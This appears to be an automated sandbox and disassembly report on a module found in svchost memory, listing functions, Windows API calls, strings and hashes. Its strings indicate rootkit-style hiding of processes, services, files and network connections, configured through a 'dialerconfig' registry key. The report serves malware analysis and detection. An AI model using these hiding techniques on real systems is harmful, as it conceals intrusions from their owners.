Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 58b78ca673e8f1c025eb56569f683145776f8da21aff7224e17a305cb7f8da99
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: FC317072619B908AEB619F60E8503EE7371F785748F44402ADB8D57B94EF38C54CC714

Function 00000179537AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000179537AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000179537AD335
RtlVirtualUnwind.NTDLL ref: 00000179537AD370
IsDebuggerPresent.KERNEL32 ref: 00000179537AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000179537AD3BE

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: fac0d66ec64c3925cbc38e830e94581c1ed51f6a25e90594bb5b961479521937
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: C8315F32618B9096EB61CF25E8503DE73B4F78A758F540126EA9D53B94EF38C659CB00

Function 00000179537A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1633
HeapAlloc.KERNEL32 ref: 00000179537A1642

Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A126E
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A127D
Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A1297
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
RegCloseKey.ADVAPI32 ref: 00000179537A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
RegCloseKey.ADVAPI32 ref: 00000179537A1734
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
RegCloseKey.ADVAPI32 ref: 00000179537A176F
RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
RegCloseKey.ADVAPI32 ref: 00000179537A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA
RegCloseKey.ADVAPI32 ref: 00000179537A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
RegCloseKey.ADVAPI32 ref: 00000179537A1820
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
RegCloseKey.ADVAPI32 ref: 00000179537A185B
RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
RegCloseKey.ADVAPI32 ref: 00000179537A1896
RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Part of subcall function 00000179537A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1319
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A1327
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A1338
Part of subcall function 00000179537A12BC: RegEnumValueW.ADVAPI32 ref: 00000179537A1397
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A13DF
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A13ED
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A140A
Part of subcall function 00000179537A12BC: HeapFree.KERNEL32 ref: 00000179537A1418
Part of subcall function 00000179537A12BC: lstrlenW.KERNEL32 ref: 00000179537A1421
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A142F
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A143D

Strings

udp, xrefs: 00000179537A1874
service_names, xrefs: 00000179537A17C3
paths, xrefs: 00000179537A1788
tcp_remote, xrefs: 00000179537A1839
tcp_local, xrefs: 00000179537A17FE
SOFTWARE\dialerconfig, xrefs: 00000179537A1692
startup, xrefs: 00000179537A16D5
process_names, xrefs: 00000179537A174D
pid, xrefs: 00000179537A1712

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 206c1a27e464331c4bd0b9a092aeafa2340499ab111ab09f1a96645441c587cd
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A371F136B18A2485FB11AF66E8A0ADD3374F786B8CF401122DE4E57B69EF38C548C744

Function 00000179537A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1319
GetProcessHeap.KERNEL32 ref: 00000179537A1327
HeapAlloc.KERNEL32 ref: 00000179537A1338
RegEnumValueW.ADVAPI32 ref: 00000179537A1397

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

GetProcessHeap.KERNEL32 ref: 00000179537A13DF
HeapAlloc.KERNEL32 ref: 00000179537A13ED
GetProcessHeap.KERNEL32 ref: 00000179537A140A
HeapFree.KERNEL32 ref: 00000179537A1418
lstrlenW.KERNEL32 ref: 00000179537A1421
GetProcessHeap.KERNEL32 ref: 00000179537A142F
HeapAlloc.KERNEL32 ref: 00000179537A143D
StrCpyW.SHLWAPI ref: 00000179537A145F
GetProcessHeap.KERNEL32 ref: 00000179537A1476
HeapFree.KERNEL32 ref: 00000179537A1484

Strings

d, xrefs: 00000179537A135A

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 6227fafc9fbf8ae47cd58b7f6cf4b5d99e6e7defb89df161162dad1074e44a04
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 83517C72A18B9886EB51CF66E45839A77B1F38AF89F444126DE8D47718EF3CC049CB00

Function 00000179537A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000179537A1D1F

Part of subcall function 00000179537A1FD4: GetModuleHandleA.KERNEL32 ref: 00000179537A1FEC
Part of subcall function 00000179537A1FD4: GetProcAddress.KERNEL32 ref: 00000179537A1FFD

Part of subcall function 00000179537A5B30: GetCurrentThreadId.KERNEL32 ref: 00000179537A5B6B

Strings

EnumServiceGroupW, xrefs: 00000179537A1DF0
NtEnumerateValueKey, xrefs: 00000179537A1DD6
EnumServicesStatusExW, xrefs: 00000179537A1E11, 00000179537A1E32
ntdll.dll, xrefs: 00000179537A1D2D
sechost.dll, xrefs: 00000179537A1E39
NtDeviceIoControlFile, xrefs: 00000179537A1E56
NtQueryDirectoryFileEx, xrefs: 00000179537A1D9C
NtQueryDirectoryFile, xrefs: 00000179537A1D7F
NtResumeThread, xrefs: 00000179537A1D62
advapi32.dll, xrefs: 00000179537A1DF7, 00000179537A1E18
NtEnumerateKey, xrefs: 00000179537A1DB9
NtQuerySystemInformation, xrefs: 00000179537A1D45

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: ba4581b48e2ff6b855cacc301ebdcd167c7a3886c66976a807292e1e89fccdae
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: AF315074E299AAA0FE17EF65E8616D46371B70634CFC05023D84D13766AE7C868EC750

Function 0000017953776910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017953776938
__scrt_acquire_startup_lock.LIBCMT ref: 000001795377698A
_RTC_Initialize.LIBCMT ref: 00000179537769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537769DE
__scrt_release_startup_lock.LIBCMT ref: 0000017953776A09

Strings

scriptor', xrefs: 0000017953776B39, 0000017953776BB2, 0000017953776BEC
`eh vector copy constructor iterator', xrefs: 0000017953776A3B
`dynamic initializer for ', xrefs: 00000179537769C7
`eh vector vbase copy constructor iterator', xrefs: 00000179537769EE

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e41be534229163122c3179cc1025da5169d2b8c0ede0d6324f4ee0300e7142a4
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: BB81F772F1C26186F657AB2594413D967F0E78778CF548527AA0C8379FDB38C84D8B08

Function 00000179537ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000179537ACE37
FlsGetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE4C
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE6D
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE9A
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACEAB
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACEBC
SetLastError.KERNEL32 ref: 00000179537ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000179537AECCC,?,?,?,?,00000179537ABF9F,?,?,?,?,?,00000179537A7AB0), ref: 00000179537ACF2C

Part of subcall function 00000179537AD6CC: HeapAlloc.KERNEL32 ref: 00000179537AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF54

Part of subcall function 00000179537AD744: HeapFree.KERNEL32 ref: 00000179537AD75A
Part of subcall function 00000179537AD744: GetLastError.KERNEL32 ref: 00000179537AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF76

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 77b7efc725698ca54b94f8a3bbd63b6bf6571e27a76a959dc314b8d8e9e59c42
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: FA41D370F2C27951FA2BA73149553E923B15B477BCF1C4737A83E867DADE28C4494200

Function 00000179537A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000179537A2259
GetCurrentProcessId.KERNEL32 ref: 00000179537A2263

Part of subcall function 00000179537A1934: OpenProcess.KERNEL32 ref: 00000179537A1952
Part of subcall function 00000179537A1934: IsWow64Process.KERNEL32 ref: 00000179537A1968
Part of subcall function 00000179537A1934: CloseHandle.KERNEL32 ref: 00000179537A1983

CreateFileW.KERNEL32 ref: 00000179537A22BC
WriteFile.KERNEL32 ref: 00000179537A22E4
ReadFile.KERNEL32 ref: 00000179537A2303
CloseHandle.KERNEL32 ref: 00000179537A230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000179537A228C
\\.\pipe\dialerchildproc32, xrefs: 00000179537A2293

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: bf197e0ffd1960bdac6007c57ce7df944ff2740a99a669adc726ba4408a275dc
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 06214F32A1876482FB118B25F45479973B1F78ABA8F504216EB9D03BA8DF3CC14DCB04

Function 0000017953779944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000179537799A1

Part of subcall function 000001795377A814: __GetUnwindTryBlock.LIBCMT ref: 000001795377A857
Part of subcall function 000001795377A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001795377A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017953779A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017953779CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017953779DDA

Strings

csm, xrefs: 0000017953779A9C
csm, xrefs: 0000017953779A22
csm, xrefs: 00000179537799BB

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: c1e37324251eb8afeee7f02a8d197e06ab5e66d9bdec95cbde6af93207a2d4f1
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 68E18972A0ABA08AEB629B65D4813DD77F0F747B9CF100116EE8D57B9ACB34D499C700

Function 00000179537AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000179537AA5A1

Part of subcall function 00000179537AB414: __GetUnwindTryBlock.LIBCMT ref: 00000179537AB457
Part of subcall function 00000179537AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000179537AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000179537AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000179537AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000179537AA9DA

Strings

csm, xrefs: 00000179537AA69C
csm, xrefs: 00000179537AA622
csm, xrefs: 00000179537AA5BB

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 48bad793c3cf8a064d8991e65e6d6caa703c72e63802b69e7c4d4fa44d5e9957
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: DCE18E72A28BA48AEBA2DF65D4803DD77B0F746B9CF100116EE8D57B95CB34C599CB00

Function 00000179537AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000179537AF510
GetProcAddress.KERNEL32 ref: 00000179537AF51C

Strings

ext-ms-, xrefs: 00000179537AF46D
api-ms-, xrefs: 00000179537AF45A

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 6d28e7484422e4a57a06ac6147cde09464f9819a0b3aea55b6358727e73b2730
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 3C41B532B2DA2091FB17DB66AC147D523B1BB46BA8F1941279D2E87784EF38C44DC324

Function 00000179537A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A10B1
RegEnumValueW.ADVAPI32 ref: 00000179537A1117
GetProcessHeap.KERNEL32 ref: 00000179537A115A
HeapAlloc.KERNEL32 ref: 00000179537A1168
GetProcessHeap.KERNEL32 ref: 00000179537A1185
HeapFree.KERNEL32 ref: 00000179537A1193

Strings

d, xrefs: 00000179537A10D6

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 4d0dabdc3bb95f01b52548fecc3f9169e00d7fa873fa5b6aedad960dda8fc516
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 8E416C73618B94C6E761CF21E45479A77B1F389B9CF44812AEB8947B58EF38C489CB00

Function 00000179537AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD087
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0A6
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0CE
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0DF
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0F0

Strings

Y%, xrefs: 00000179537AD0A6
1%, xrefs: 00000179537AD0CE

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b0a3c49dc6ef7a53409216961fbfbc30d008a76d59ac91324fc92d9a86fd0cd9
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C311C870F2C26841FA6B673699613EA63715B473FCF144337A83D477EADE28C54A8200

Function 00000179537A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000179537A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000179537A758A
_RTC_Initialize.LIBCMT ref: 00000179537A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000179537A7609

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 03549ce5a8bfb50d1d2883e7ce9a3f420bf030cad668bfca8cca14f47c08375e
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CD81B531E2C2E146FB57ABA994513D923F2AB4778CF5444A7EA4CC7796EB38C44D8700

Function 00000179537A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000179537A9E49
GetLastError.KERNEL32 ref: 00000179537A9E57
LoadLibraryExW.KERNEL32 ref: 00000179537A9E81
FreeLibrary.KERNEL32 ref: 00000179537A9EC7
GetProcAddress.KERNEL32 ref: 00000179537A9ED3

Strings

api-ms-, xrefs: 00000179537A9E69

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1c35a6318a95a9f66357ff113d1e6293aa460ab4329f98c61122d8ffc54845e1
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5731D832B2E664E1EE13DB02A400BD963F4B74BBA8F5905279D5E47791EF38C45D8300

Function 00000179537B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000179537B3DE5
GetLastError.KERNEL32 ref: 00000179537B3DF1
CloseHandle.KERNEL32 ref: 00000179537B3E09
CreateFileW.KERNEL32 ref: 00000179537B3E34
WriteConsoleW.KERNEL32 ref: 00000179537B3E53

Strings

CONOUT$, xrefs: 00000179537B3E15

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 1d5e788c20f4153e52296bcb8cadabdf0028e11074e208d04bdcdd6a952d3e19
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 1C11C431B18BA482F7518B52E864359B3B4F389FE8F044226EA9E87794EF38C4488744

Function 00000179537A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A379E
GetCurrentProcess.KERNEL32 ref: 00000179537A37CC
VirtualProtectEx.KERNEL32 ref: 00000179537A37EE
GetCurrentProcess.KERNEL32 ref: 00000179537A3809
VirtualProtectEx.KERNEL32 ref: 00000179537A382A

Strings

wr, xrefs: 00000179537A37FF

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5fea20ec1214d5790932143d42f439680bcd659adb70575157f6ec8973a68838
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 76115E36B1875582FF159F52E4186A963B4FB4AB89F44002ADF8D07B54EF3DC509C714

Function 00000179537ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000179537ACFAF
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537ACFE5
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD012
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD023
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD034
